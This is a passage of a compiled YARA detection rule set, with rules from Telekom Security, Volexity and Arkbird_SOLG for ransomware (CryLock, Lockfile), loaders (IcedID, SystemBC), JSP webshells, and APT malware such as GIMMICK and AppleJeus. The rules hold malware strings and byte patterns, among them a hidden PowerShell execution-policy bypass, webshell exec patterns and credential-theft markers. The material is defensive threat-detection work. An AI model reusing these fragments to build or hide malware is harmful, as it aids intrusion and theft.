	strings:
		$s1 = { 5c 00 70 00 69 00 70 00 65 00 5c 00 6c 00 73 00 61 00 72 00 70 00 63 }
		$s2 = "ncacn_np" fullword wide
		$s3 = "WinSta0\\Default" fullword wide
		$s4 = { 11 00 72 cc 01 00 70 28 06 00 00 0a 00 dd de 02 00 00 00 de 12 07 14 fe 01 13 0f 11 0f 2d 07 07 6f 0f 00 00 0a 00 dc 00 28 10 00 00 0a 13 10 12 10 72 16 02 00 70 28 11 00 00 0a 0d 72 1a 02 00 70 09 72 2e 02 00 70 28 12 00 00 0a 13 04 11 04 19 16 1f 0a 20 00 08 00 00 20 00 08 00 00 16 7e 0d 00 00 0a 28 06 00 00 06 13 05 11 05 15 73 13 00 00 0a 28 14 00 00 0a 16 fe 01 13 0f 11 0f 2d 25 00 72 48 02 00 70 28 0e 00 00 0a 73 15 00 00 0a 6f 16 00 00 0a 28 0a 00 00 0a 28 06 00 00 0a 00 38 4a 02 00 00 16 73 17 00 00 0a 13 06 14 fe 06 04 00 00 06 73 18 00 00 0a 73 19 00 00 0a 13 07 11 07 17 6f 1a 00 00 0a 00 11 07 18 8d 01 00 00 01 13 11 11 11 16 11 05 8c 15 00 00 01 a2 11 11 17 11 06 a2 11 11 6f 1b 00 00 0a 00 14 fe 06 03 00 00 06 73 18 00 00 0a 73 19 00 00 0a 13 08 11 08 17 6f 1a 00 00 0a 00 11 08 09 6f 1b 00 00 0a 00 11 06 20 e8 03 00 00 6f 1c 00 00 0a 16 fe 01 13 0f 11 0f 3a 93 01 00 00 00 11 05 28 08 00 00 06 16 fe 01 13 0f 11 0f 3a 7c 01 00 00 00 28 08 00 00 0a 6f 0b 00 00 0a 13 09 72 7c 02 00 70 11 09 8c 15 00 00 01 28 1d 00 00 0a 28 06 00 00 0a 00 12 0a fe 15 08 00 00 02 12 0a 11 0a 28 02 00 00 2b 7d 1d 00 00 04 12 0a 7e 0d 00 00 0a 7d 1e 00 00 04 12 0a 17 7d 1f 00 00 04 12 0b 12 0c 12 0a 20 00 04 00 00 28 0b 00 00 06 26 12 0d fe 15 06 00 00 02 12 0e fe 15 07 00 00 02 12 0e 11 0e 28 03 00 00 2b 7d 0b 00 00 04 12 0e 11 0c 7d 1c 00 00 04 12 0e 11 0c 7d 1b 00 00 04 12 0e 72 9c 02 00 70 7d 0d 00 00 04 12 0e 20 01 01 00 00 7d 16 00 00 04 12 0e 16 7d 17 00 00 04 }
		$s5 = "EfsPotato <cmd>" wide
		$s6 = "\\\\.\\pipe\\" wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 10KB and 5 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Loader_Lockfile_Aug_2021_1 : FILE
{
	meta:
		description = "Detect loader used by lockerfile group"
		author = "Arkbird_SOLG"
		id = "031335f3-e6c7-5e94-af23-c7fb254203b7"
		date = "2021-08-28"
		modified = "2021-08-29"
		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_loader_Lockfile_Aug_2021_1.yara#L1-L16"
		license_url = "N/A"
		logic_hash = "622a673d5cb9832cf0abc9942bf0e1f64bcdbd99524dea0bd64698fffa815a9b"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "ed834722111782b2931e36cfa51b38852c813e3d7a4d16717f59c1d037b62291"
		adversary = "Lockfile"
	strings:
		$s1 = "c:\\windows\\system32\\calc.exe" fullword ascii
		$s2 = { 49 48 85 c0 7f ec eb 0a 33 c9 66 89 0c 45 [2] 01 10 68 [2] 00 10 68 [2] 01 10 ff 15 [2] 00 10 6a 00 68 80 00 00 00 6a 03 6a 00 6a 02 68 00 00 00 80 68 [2] 01 10 ff 15 [2] 00 10 83 f8 ff 75 08 6a 00 ff 15 [2] 00 10 50 ff 15 [2] 00 10 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc }
		$s3 = "/proc/123/stat" fullword ascii
		$s4 = { 33 c5 89 45 fc a1 [2] 00 10 8b 15 [2] 00 10 8b 0d [2] 00 10 56 89 45 dc 66 a1 [2] 00 10 57 89 55 e4 89 4d e0 8a 0d [2] 00 10 66 89 45 e8 33 c0 8d 55 dc 68 [2] 00 10 52 bf [2] 00 10 88 4d ea 89 45 eb 89 45 ef 89 45 f3 89 45 f7 88 45 fb e8 [2] 00 00 8b f0 83 c4 08 85 f6 74 44 8d 64 24 00 56 e8 [2] 00 00 83 c4 04 83 f8 ff 74 29 83 f8 28 75 ed 56 e8 [2] 00 00 83 c4 04 83 f8 ff 74 16 0f be 0f 3b c1 75 0f 56 47 e8 [2] 00 00 83 c4 04 83 f8 ff 75 ea 56 e8 [2] 00 00 83 c4 04 6a 00 ff 15 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 10KB and 3 of ( $s* )
}


/*
 * YARA Rule Set
 * Repository Name: Telekom Security
 * Repository: https://github.com/telekom-security/malware_analysis/
 * Retrieval Date: 2026-03-15
 * Git Commit: 755efb66586f53fea34926f78a8d2054a8e8e74b
 * Number of Rules: 7
 * Skipped: 0 (age), 10 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule TELEKOM_SECURITY_Win_Systembc_20220311 : FILE
{
	meta:
		description = "Detects unpacked SystemBC module"
		author = "Thomas Barabosch, Deutsche Telekom Security"
		id = "39e1a131-bd2c-56e9-961f-2b2c31f29e85"
		date = "2022-03-11"
		modified = "2022-03-13"
		reference = "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6"
		source_url = "https://github.com/telekom-security/malware_analysis//blob/755efb66586f53fea34926f78a8d2054a8e8e74b/systembc/systembc.yara#L1-L27"
		license_url = "N/A"
		logic_hash = "2f6e2c4c786941f800678e22679d4b81d1097a46c2555ae70e745df1b997c1c8"
		score = 75
		quality = 70
		tags = "FILE"
		sharing = "TLP:WHITE"
		hash_1 = "c926338972be5bdfdd89574f3dc2fe4d4f70fd4e24c1c6ac5d2439c7fcc50db5"
		in_memory = "True"
	strings:
		$sx1 = "-WindowStyle Hidden -ep bypass -file" ascii
		$sx2 = "BEGINDATA" ascii
		$sx3 = "GET %s HTTP/1.0" ascii
		$s5 = "User-Agent:" ascii
		$s8 = "ALLUSERSPROFILE" ascii
	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 30KB and 2 of ( $sx* ) ) or all of them
}

rule TELEKOM_SECURITY_Win_Iceid_Core_Ldr_202104 : FILE
{
	meta:
		description = "2021 loader for Bokbot / Icedid core (license.dat)"
		author = "Thomas Barabosch, Telekom Security"
		id = "f096e18d-3a31-5236-b3c3-0df39b408d9a"
		date = "2021-04-13"
		modified = "2021-07-08"
		reference = "https://github.com/telekom-security/malware_analysis/"
		source_url = "https://github.com/telekom-security/malware_analysis//blob/755efb66586f53fea34926f78a8d2054a8e8e74b/icedid/icedid_20210507.yar#L40-L62"
		license_url = "N/A"
		logic_hash = "d814dbaffb38dc71aaf373512246fd6d811750d526c4afffb0b8018329dcdd90"
		score = 75
		quality = 70
		tags = "FILE"
	strings:
		$internal_name = "sadl_64.dll" fullword
		$string0 = "GetCommandLineA" fullword
		$string1 = "LoadLibraryA" fullword
		$string2 = "ProgramData" fullword
		$string3 = "SHLWAPI.dll" fullword
		$string4 = "SHGetFolderPathA" fullword
		$string5 = "DllRegisterServer" fullword
		$string6 = "update" fullword
		$string7 = "SHELL32.dll" fullword
		$string8 = "CreateThread" fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( $internal_name and 5 of them ) or all of them
}

rule TELEKOM_SECURITY_Win_Iceid_Core_202104 : FILE
{
	meta:
		description = "2021 Bokbot / Icedid core"
		author = "Thomas Barabosch, Telekom Security"
		id = "526a73da-415f-58fe-bb5f-4c3df6b2e647"
		date = "2021-04-12"
		modified = "2021-07-08"
		reference = "https://github.com/telekom-security/malware_analysis/"
		source_url = "https://github.com/telekom-security/malware_analysis//blob/755efb66586f53fea34926f78a8d2054a8e8e74b/icedid/icedid_20210507.yar#L64-L88"
		license_url = "N/A"
		logic_hash = "c208b4122159d24d010e2913c515d2ff730b30306f787d703816b5af1522ae88"
		score = 75
		quality = 70
		tags = "FILE"
	strings:
		$internal_name = "fixed_loader64.dll" fullword
		$string0 = "mail_vault" wide fullword
		$string1 = "ie_reg" wide fullword
		$string2 = "outlook" wide fullword
		$string3 = "user_num" wide fullword
		$string4 = "cred" wide fullword
		$string5 = "Authorization: Basic" fullword
		$string6 = "VaultOpenVault" fullword
		$string7 = "sqlite3_free" fullword
		$string8 = "cookie.tar" fullword
		$string9 = "DllRegisterServer" fullword
		$string10 = "PT0S" wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( $internal_name or all of ( $s* ) ) or all of them
}

rule TELEKOM_SECURITY_Crylock_Binary : FILE
{
	meta:
		description = "Detects CryLock ransomware v2.3.0.0"
		author = "Thomas Barabosch, Telekom Security"
		id = "5d46adf6-3ea4-5e3d-ac33-1292c076c0df"
		date = "2021-06-28"
		modified = "2021-07-08"
		reference = "TBA"
		source_url = "https://github.com/telekom-security/malware_analysis//blob/755efb66586f53fea34926f78a8d2054a8e8e74b/crylock/crylock_20210706.yar#L1-L27"
		license_url = "N/A"
		logic_hash = "990be4604c5737383cce1b32dfbf3bc066367d7bf4652e2549730cdeccf1f413"
		score = 75
		quality = 70
		tags = "FILE"
	strings:
		$s1 = "how_to_decrypt.hta" ascii
		$s2 = "UAC annoy and ask admin rights" ascii
		$s3 = "<%UNDECRYPT_DATETIME%>" ascii
		$s4 = "<%RESERVE_CONTACT%>" ascii
		$s5 = "<%MAIN_CONTACT%>" ascii
		$s6 = "<%HID%>" ascii
		$s7 = "Get local IPs list" ascii
		$s8 = "Get password hash" ascii
		$s9 = "END PROCESSES KILL LIST" ascii
		$s10 = "CIS zone detected" ascii
		$s11 = "Launch encryption threads..." ascii
		$s12 = "FastBlackRabbit" ascii
		$s13 = "Preliminary password hash calculation" ascii
		$s14 = "Encrypted:" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 150KB and filesize < 1MB and 8 of ( $s* )
}

rule TELEKOM_SECURITY_Crylock_Hta : FILE
{
	meta:
		description = "Detects CryLock ransomware how_to_decrypt.hta ransom note"
		author = "Thomas Barabosch, Telekom Security"
		id = "cf6ba6d2-beca-5da0-bb2d-0b8b52418a5e"
		date = "2021-06-28"
		modified = "2021-07-08"
		reference = "TBA"
		source_url = "https://github.com/telekom-security/malware_analysis//blob/755efb66586f53fea34926f78a8d2054a8e8e74b/crylock/crylock_20210706.yar#L29-L53"
		license_url = "N/A"
		logic_hash = "3b603a395f872d74d54b98a8ac6e6eb71c3bd0f076b4c834fcb4922e2aaa58b9"
		score = 75
		quality = 70
		tags = "FILE"
	strings:
		$s1 = "var main_contact =" ascii
		$s2 = "var max_discount =" ascii
		$s3 = "<title>CryLock</title>" ascii
		$s4 = "var discount_date = new Date(" ascii
		$s5 = "var main_contact =" ascii
		$s6 = "var hid = " ascii
		$s7 = "var second_contact = " ascii
		$s8 = "document.getElementById('main_contact').innerHTML = main_contact;" ascii
		$s9 = "document.getElementById('second_contact').innerHTML = second_contact;" ascii
		$s10 = "document.getElementById('hid').innerHTML = hid;" ascii
		$s11 = "be able to decrypt your files. Contact us" ascii
		$s12 = "Attention! This important information for you" ascii
		$s13 = "higher will become the decryption key price" ascii
		$s14 = "Before payment, we can decrypt three files for free." ascii
	condition:
		filesize < 100KB and 8 of ( $s* )
}

rule TELEKOM_SECURITY_Get_Windows_Proxy_Configuration : CAPABILITY HACKTOOL
{
	meta:
		description = "Queries Windows Registry for proxy configuration"
		author = "Thomas Barabosch, Deutsche Telekom Security"
		id = "b67b0b70-a95f-5c65-a522-ef4f41e36159"
		date = "2022-01-14"
		modified = "2023-12-12"
		reference = "https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-ie-clientnetworkprotocolimplementation-hklmproxyserver"
		source_url = "https://github.com/telekom-security/malware_analysis//blob/755efb66586f53fea34926f78a8d2054a8e8e74b/hacktools/hacktools.yar#L44-L57"
		license_url = "N/A"
		logic_hash = "db52782a56d42f6e460466ea46993490bbbceeb7422d45211f064edb2e37a8eb"
		score = 75
		quality = 70
		tags = "CAPABILITY, HACKTOOL"
	strings:
		$a = "Software\\Microsoft\\Windows\\Currentversion\\Internet Settings" ascii wide
		$b = "ProxyEnable" ascii wide
		$c = "ProxyServer" ascii wide
	condition:
		all of them
}

/*
 * YARA Rule Set
 * Repository Name: Volexity
 * Repository: https://github.com/volexity/threat-intel
 * Retrieval Date: 2026-03-15
 * Git Commit: 92353b1ccc638f5ed0e7db43a26cb40fad7f03df
 * Number of Rules: 76
 * Skipped: 1 (age), 8 (quality), 1 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * Copyright 2022 by Volexity, Inc.

The 2-Clause BSD License

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

 */
rule VOLEXITY_Susp_Jsp_General_Runtime_Exec_Req : FILE MEMORY
{
	meta:
		description = "Looks for a common design pattern in webshells where a request attribute is passed as an argument to exec()."
		author = "threatintel@volexity.com"
		id = "7f1539bd-a2f0-50dd-b500-ada4e0971d13"
		date = "2022-02-02"
		modified = "2024-07-30"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L35-L56"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "d3048aba80c1c39f1673931cd2d7c5ed83045603b0ad204073fd788d0103a6c8"
		score = 65
		quality = 80
		tags = "FILE, MEMORY"
		hash1 = "4935f0c50057e28efa7376c734a4c66018f8d20157b6584399146b6c79a6de15"
		os = "win,linux"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6450
		version = 3
	strings:
		$s1 = "Runtime.getRuntime().exec(request." ascii
	condition:
		$s1
}

rule VOLEXITY_Webshell_Jsp_Regeorg : FILE MEMORY
{
	meta:
		description = "Detects the reGeorg webshells' JSP version."
		author = "threatintel@volexity.com"
		id = "205ee383-4298-5469-a509-4ce3eaf9dd0e"
		date = "2022-03-08"
		modified = "2024-09-20"
		reference = "https://github.com/SecWiki/WebShell-2/blob/master/reGeorg-master/tunnel.jsp"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L57-L86"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "cecb71605d9112d509823c26e40e1cf9cd6db581db448db5c9ffc63a2bfe529e"
		score = 75
		quality = 80
		tags = "FILE, MEMORY"
		hash1 = "f9b20324f4239a8c82042d8207e35776d6777b6305974964cd9ccc09d431b845"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6575
		version = 5
	strings:
		$magic = "socketChannel.connect(new InetSocketAddress(target, port))" ascii
		$a1 = ".connect(new InetSocketAddress" ascii
		$a2 = ".configureBlocking(false)" ascii
		$a3 = ".setHeader(" ascii
		$a4 = ".getHeader(" ascii
		$a5 = ".flip();" ascii
	condition:
		$magic or all of ( $a* )
}

rule VOLEXITY_Apt_Malware_Macos_Gimmick : STORMBAMBOO FILE MEMORY
{
	meta:
		description = "Detects the macOS port of the GIMMICK malware."
		author = "threatintel@volexity.com"
		id = "3d485788-4aab-511b-a49e-5dc09d1950a9"
		date = "2021-10-18"
		modified = "2024-08-02"
		reference = "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-03-22 GIMMICK/indicators/yara.yar#L1-L59"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "00fba9df2212874a45d44b3d098a7b76c97fcd53ff083c76b784d2b510a4a467"
		score = 75
		quality = 78
		tags = "STORMBAMBOO, FILE, MEMORY"
		hash1 = "2a9296ac999e78f6c0bee8aca8bfa4d4638aa30d9c8ccc65124b1cbfc9caab5f"
		os = "darwin"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6022
		version = 8
	strings:
		$s1 = "http://cgi1.apnic.net/cgi-bin/my-ip.php --connect-timeout 10 -m 20" wide ascii
		$json1 = "base_json" ascii wide
		$json2 = "down_json" ascii wide
		$json3 = "upload_json" ascii wide
		$json4 = "termin_json" ascii wide
		$json5 = "request_json" ascii wide
		$json6 = "online_json" ascii wide
		$json7 = "work_json" ascii wide
		$msg1 = "bash_pid: %d, FDS_CHILD: %d, FDS_PARENT: %d" ascii wide
		$msg2 = "pid %d is dead" ascii wide
		$msg3 = "exit with code %d" ascii wide
		$msg4 = "recv signal %d" ascii wide
		$cmd1 = "ReadCmdQueue" ascii wide
		$cmd2 = "read_cmd_server_timer" ascii wide
		$cmd3 = "enableProxys" ascii wide
		$cmd4 = "result_block" ascii wide
		$cmd5 = "createDirLock" ascii wide
		$cmd6 = "proxyLock" ascii wide
		$cmd7 = "createDirTmpItem" ascii wide
		$cmd8 = "dowfileLock" ascii wide
		$cmd9 = "downFileTmpItem" ascii wide
		$cmd10 = "filePathTmpItem" ascii wide
		$cmd11 = "uploadItems" ascii wide
		$cmd12 = "downItems" ascii wide
		$cmd13 = "failUploadItems" ascii wide
		$cmd14 = "failDownItems" ascii wide
		$cmd15 = "downloadCmds" ascii wide
		$cmd16 = "uploadFiles" ascii wide
		$cmd17 = "bash callback...." ascii wide
	condition:
		$s1 or 5 of ( $json* ) or 3 of ( $msg* ) or 9 of ( $cmd* )
}

rule VOLEXITY_Apt_Malware_Win_Gimmick_Dotnet_Base : STORMBAMBOO FILE MEMORY
{
	meta:
		description = "Detects the base version of GIMMICK written in .NET."
		author = "threatintel@volexity.com"
		id = "be42d85f-3143-51d3-b148-95d0ae666771"
		date = "2020-03-16"
		modified = "2024-08-19"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-03-22 GIMMICK/indicators/yara.yar#L60-L86"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "39a38ea189d5e840f9334cb7ec8f390444139b39c6f426906a8845f9a1ada9f7"
		score = 75
		quality = 80
		tags = "STORMBAMBOO, FILE, MEMORY"
		hash1 = "b554bfe4c2da7d0ac42d1b4f28f4aae854331fd6d2b3af22af961f6919740234"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6628
		version = 3
	strings:
		$other1 = "srcStr is null" wide
		$other2 = "srcBs is null " wide
		$other3 = "Key cannot be null" wide
		$other4 = "Faild to get target constructor, targetType=" wide
		$other5 = "hexMoudule(public key) cannot be null or empty." wide
		$other6 = "https://oauth2.googleapis.com/token" wide
	condition:
		5 of ( $other* )
}

rule VOLEXITY_Webshell_Jsp_Converge : FILE MEMORY CVE_2022_26134
{
	meta:
		description = "Detects CONVERGE - a file upload webshell observed in incident involving compromise of Confluence server via CVE-2022-26134."
		author = "threatintel@volexity.com"
		id = "2a74678e-cb00-567c-a2e0-2e095f3e5ee8"
		date = "2022-06-01"
		modified = "2024-09-20"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L1-L21"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "bb48516342eddd48c35e6db0eb74f95e116dc723503552b99ba721b5bdb391e5"
		score = 75
		quality = 80
		tags = "FILE, MEMORY, CVE-2022-26134"
		os = "all"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6788
		version = 5
	strings:
		$s1 = "if (request.getParameter(\"name\")!=null && request.getParameter(\"name\").length()!=0){" ascii
	condition:
		$s1
}

rule VOLEXITY_Webshell_Java_Realcmd : FILE MEMORY
{
	meta:
		description = "Detects the RealCMD webshell, one of the payloads for BEHINDER."
		author = "threatintel@volexity.com"
		id = "60b30ccc-bcfa-51e6-a3f5-88037d19213e"
		date = "2022-06-01"
		modified = "2024-07-30"
		reference = "https://github.com/Freakboy/Behinder/blob/master/src/main/java/vip/youwe/sheller/payload/java/RealCMD.java"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L61-L84"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "e09f2a23674fd73296dd4d1fabf1a2c812bfe69ff02abc96a4be35af6a18e512"
		score = 75
		quality = 80
		tags = "FILE, MEMORY"
		hash1 = "a9a30455d6f3a0a8cd0274ae954aa41674b6fd52877fafc84a9cb833fd8858f6"
		os = "all"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6786
		version = 4
	strings:
		$fn1 = "runCmd" wide ascii fullword
		$fn2 = "RealCMD" ascii wide fullword
		$fn3 = "buildJson" ascii wide fullword
	condition:
		all of ( $fn* )
}

rule VOLEXITY_Apt_Malware_Win_Applejeus_Oct22 : LAZYPINE FILE MEMORY
{
	meta:
		description = "Detects AppleJeus DLL samples."
		author = "threatintel@volexity.com"
		id = "f88e2253-e296-57d8-a627-6cb4ccff7a92"
		date = "2022-11-03"
		modified = "2025-05-21"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L1-L22"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "46f3325a7e8e33896862b1971f561f4871670842aecd46bcc7a5a1af869ecdc4"
		score = 75
		quality = 80
		tags = "LAZYPINE, FILE, MEMORY"
		hash1 = "82e67114d632795edf29ce1d50a4c1c444846d9e16cd121ce26e63c8dc4a1629"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 8495
		version = 3
	strings:
		$s1 = "HijackingLib.dll" ascii
	condition:
		$s1
}

rule VOLEXITY_Apt_Malware_Win_Applejeus_B_Oct22 : LAZYPINE FILE MEMORY
{
	meta:
		description = "Detects unpacked AppleJeus samples."
		author = "threatintel@volexity.com"
		id = "8586dc64-225b-5f28-a6d6-b9b6e8f1c815"
		date = "2022-11-03"
		modified = "2025-05-21"
		reference = "https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-serving-as-front-for-applejeus-malware/"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L24-L54"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "76f3c9692ea96d3cadbbcad03477ab6c53445935352cb215152b9b5483666d43"
		score = 75
		quality = 80
		tags = "LAZYPINE, FILE, MEMORY"
		hash1 = "9352625b3e6a3c998e328e11ad43efb5602fe669aed9c9388af5f55fadfedc78"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 8497
		version = 5
	strings:
		$key1 = "AppX7y4nbzq37zn4ks9k7amqjywdat7d"
		$key2 = "Gd2n5frvG2eZ1KOe"
		$str1 = "Windows %d(%d)-%s"
		$str2 = "&act=check"
	condition:
		( any of ( $key* ) and 1 of ( $str* ) ) or all of ( $str* )
}

rule VOLEXITY_Apt_Malware_Win_Applejeus_C_Oct22 : LAZYPINE MEMORY
{
	meta:
		description = "Detects unpacked AppleJeus samples."
		author = "threatintel@volexity.com"
		id = "c9cbddde-220c-5e26-8760-85c29b98bfeb"
		date = "2022-11-03"
		modified = "2023-09-28"
		reference = "https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-serving-as-front-for-applejeus-malware/"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L57-L84"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "a9e635d9353c8e5c4992beba79299fb889a7a3d5bc3eaf191f8bb7f51258a6c6"
		score = 75
		quality = 80
		tags = "LAZYPINE, MEMORY"
		hash1 = "a0db8f8f13a27df1eacbc01505f311f6b14cf9b84fbc7e84cb764a13f001dbbb"
		os = "win"
		os_arch = "all"
		scan_context = "memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 8519
		version = 3
	strings:
		$str1 = "%sd.e%sc \"%s > %s 2>&1\"" wide
		$str2 = "tuid"
		$str4 = "payload"
		$str5 = "fconn"
		$str6 = "Mozilla_%lu"
	condition:
		5 of ( $str* )
}

rule VOLEXITY_Apt_Malware_Win_Applejeus_D_Oct22 : LAZYPINE FILE MEMORY
{
	meta:
		description = "Detected AppleJeus unpacked samples."
		author = "threatintel@volexity.com"
		id = "80d2821b-a437-573e-9e9d-bf79f9422cc9"
		date = "2022-11-10"
		modified = "2025-05-21"
		reference = "https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-serving-as-front-for-applejeus-malware/"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L87-L112"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "23c0642e5be15a75a39d089cd52f2f14d633f7af6889140b9ec6e53c5c023974"
		score = 75
		quality = 80
		tags = "LAZYPINE, FILE, MEMORY"
		hash1 = "a241b6611afba8bb1de69044115483adb74f66ab4a80f7423e13c652422cb379"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 8534
		version = 3
	strings:
		$reg = "Software\\Bitcoin\\Bitcoin-Qt"
		$pattern = "%s=%d&%s=%s&%s=%s&%s=%d"
		$exec = " \"%s\", RaitingSetupUI "
		$http = "Accept: */*" wide
	condition:
		all of them
}

rule VOLEXITY_Apt_Delivery_Macro_Lazypine_Jeus_B : LAZYPINE FILE
{
	meta:
		description = "Detects macros used by the LazyPine threat actor to distribute AppleJeus."
		author = "threatintel@volexity.com"
		id = "ac4d4e82-e29f-5134-999d-b8dcef59d285"
		date = "2022-11-03"
		modified = "2025-05-21"
		reference = "https://github.com/volexity/threat-intel"
